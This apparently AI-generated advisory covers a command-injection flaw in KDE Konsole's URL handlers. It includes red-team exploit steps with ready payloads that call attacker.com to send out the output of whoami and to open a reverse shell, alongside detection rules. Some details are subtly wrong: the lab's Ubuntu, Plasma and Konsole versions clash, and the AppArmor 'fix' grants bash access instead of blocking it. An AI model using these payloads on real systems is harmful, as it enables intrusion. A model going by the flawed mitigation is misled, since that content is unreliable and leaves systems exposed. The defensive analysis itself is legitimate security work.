CVE-2025-49091

Executive Summary

CVE-2025-49091 is a critical remote code execution (RCE) vulnerability in KDE Konsole, the default terminal emulator for the KDE Plasma desktop environment. The flaw resides in how Konsole handles URL scheme handlers such as ssh://, telnet://, and rlogin://. When a user clicks a crafted link (e.g., from a web browser or email client), Konsole attempts to launch the corresponding binary. If the binary is not installed, Konsole falls back to executing /bin/bash with the URL as an argument, allowing an attacker to inject arbitrary shell commands. This vulnerability requires user interaction (clicking a link) but can lead to full system compromise. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

This vulnerability affects the KDE Konsole package, which is distributed via Linux package managers (e.g., apt, yum, pacman) and as part of the KDE Plasma desktop. Users should verify their package manager’s repository for patched versions (25.04.2+). No third-party package registries (NPM, PyPI, Go, Ruby) are involved.

CVSS Breakdown & Threat Level

CVSS Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attacker can deliver the malicious link remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – Victim must click the link.
• Scope (S): Unchanged – The vulnerable component is the terminal.
• Confidentiality (C): High – Full file read possible.
• Integrity (I): High – Arbitrary command execution.
• Availability (A): High – System can be rendered unusable.

Threat Level: Critical due to the ease of exploitation and potential for full system compromise.

Deep Dive & Mechanics

The vulnerability exists in Konsole’s URL handler logic. When a user clicks a link with a scheme like ssh://, Konsole checks if the corresponding binary (e.g., /usr/bin/ssh) exists. If the binary is missing, Konsole falls back to executing /bin/bash with the entire URL as a command-line argument. This allows an attacker to craft a URL such as:

ssh://-oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost

When Konsole processes this, it attempts to run /bin/bash with the argument -oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost. The shell interprets the $() as command substitution, executing the embedded command. The $IFS$9 is used to bypass space filtering.

The attack flow:

1. Attacker sends a malicious link (e.g., via email, chat, or web page).
2. Victim clicks the link.
3. Konsole opens and attempts to handle the URL.
4. Since ssh is not installed, Konsole falls back to /bin/bash.
5. The shell executes the injected command, giving the attacker code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Konsole < 25.04.2):

// Simplified vulnerable logic
void Konsole::handleUrl(const QUrl &url) {
    QString scheme = url.scheme();
    QString binary = getBinaryForScheme(scheme); // e.g., "ssh"
    if (!QFile::exists(binary)) {
        // Fallback to bash with URL as argument
        QProcess::startDetached("/bin/bash", {url.toString()});
    } else {
        QProcess::startDetached(binary, {url.toString()});
    }
}

Patched Code (Konsole 25.04.2+):

// Patched logic – validates and sanitizes input
void Konsole::handleUrl(const QUrl &url) {
    QString scheme = url.scheme();
    QString binary = getBinaryForScheme(scheme);
    if (!QFile::exists(binary)) {
        // Show error dialog instead of falling back
        QMessageBox::warning(this, "Error", "Protocol handler not found.");
        return;
    }
    // Sanitize URL to prevent injection
    QString sanitizedUrl = sanitizeUrl(url);
    QProcess::startDetached(binary, {sanitizedUrl});
}

The patch removes the dangerous fallback to /bin/bash and adds input sanitization.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Ubuntu 24.04 with KDE Plasma 5.27 and Konsole 25.04.1 (vulnerable).
• Attacker: Kali Linux with a simple HTTP server.

Exploit Steps:

1. Create a malicious HTML page with a link:

   <a href="ssh://-oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost">Click me</a>
   

2. Host the page on the attacker’s machine:

   python3 -m http.server 8080
   

3. Send the link to the victim (e.g., via email).
4. Victim clicks the link → Konsole opens → /bin/bash executes the injected command.
5. Attacker receives a callback (e.g., via netcat):

   nc -lvnp 4444
   

Alternative Payload (reverse shell):

ssh://-oProxyCommand=bash$IFS$9-c$IFS$9'bash$IFS$9-i$IFS$9>&$IFS$9/dev/tcp/attacker.com/4444$IFS$90>&1'@localhost

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor for Konsole processes launched with unusual arguments:

   ps aux | grep konsole
   

2. Check for /bin/bash being spawned by Konsole:

   auditctl -a always,exit -S execve -F path=/bin/bash -F ppid=konsole_pid
   

3. Look for outbound connections to unknown IPs on common ports (4444, 8080).

Defense:

• Block execution of /bin/bash from Konsole via AppArmor or SELinux.
• Disable URL scheme handlers in Konsole settings.
• Apply the patch immediately.

Indicators of Compromise (IOCs)

• Process: /bin/bash spawned by konsole with arguments containing ssh://, telnet://, or rlogin://.
• Network: Outbound connections to attacker-controlled IPs on ports 4444, 8080, or 80.
• File: Temporary files in /tmp/ created by injected commands (e.g., curl downloads).
• Logs: Syslog entries showing Konsole URL handling errors.
• Registry (Windows): Not applicable (Linux-only).

Detection Engineering

YARA Rule

rule CVE_2025_49091_Konsole_RCE {
    meta:
        description = "Detects Konsole URL handler exploitation attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49091"
    strings:
        $s1 = "ssh://" ascii wide nocase
        $s2 = "telnet://" ascii wide nocase
        $s3 = "rlogin://" ascii wide nocase
        $s4 = "/bin/bash" ascii wide nocase
        $s5 = "-oProxyCommand" ascii wide nocase
    condition:
        (any of ($s1, $s2, $s3)) and ($s4 or $s5)
}

Sigma Rule

title: CVE-2025-49091 Konsole RCE via URL Handler
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Konsole spawning /bin/bash with malicious URL arguments
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/konsole'
        Image|endswith: '/bin/bash'
        CommandLine|contains:
            - 'ssh://'
            - 'telnet://'
            - 'rlogin://'
    condition: selection
falsepositives:
    - Legitimate use of ssh/telnet/rlogin with Konsole (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49091 Konsole RCE Outbound"; flow:to_server,established; content:"ssh://"; nocase; content:"-oProxyCommand"; nocase; distance:0; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade KDE Konsole to version 25.04.2 or later.

   sudo apt update && sudo apt upgrade konsole
   

2. Workaround: Disable URL scheme handlers in Konsole:
   • Go to Settings → Configure Konsole → General → Uncheck "Open links in terminal".
3. AppArmor/SELinux: Restrict Konsole from executing /bin/bash:

   # AppArmor example
   echo "/bin/bash r," >> /etc/apparmor.d/local/usr.bin.konsole
   apparmor_parser -r /etc/apparmor.d/usr.bin.konsole
   

Long-term:

• Implement input validation for all URL handlers.
• Remove fallback to shell binaries.
• Conduct security audits of similar KDE components.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.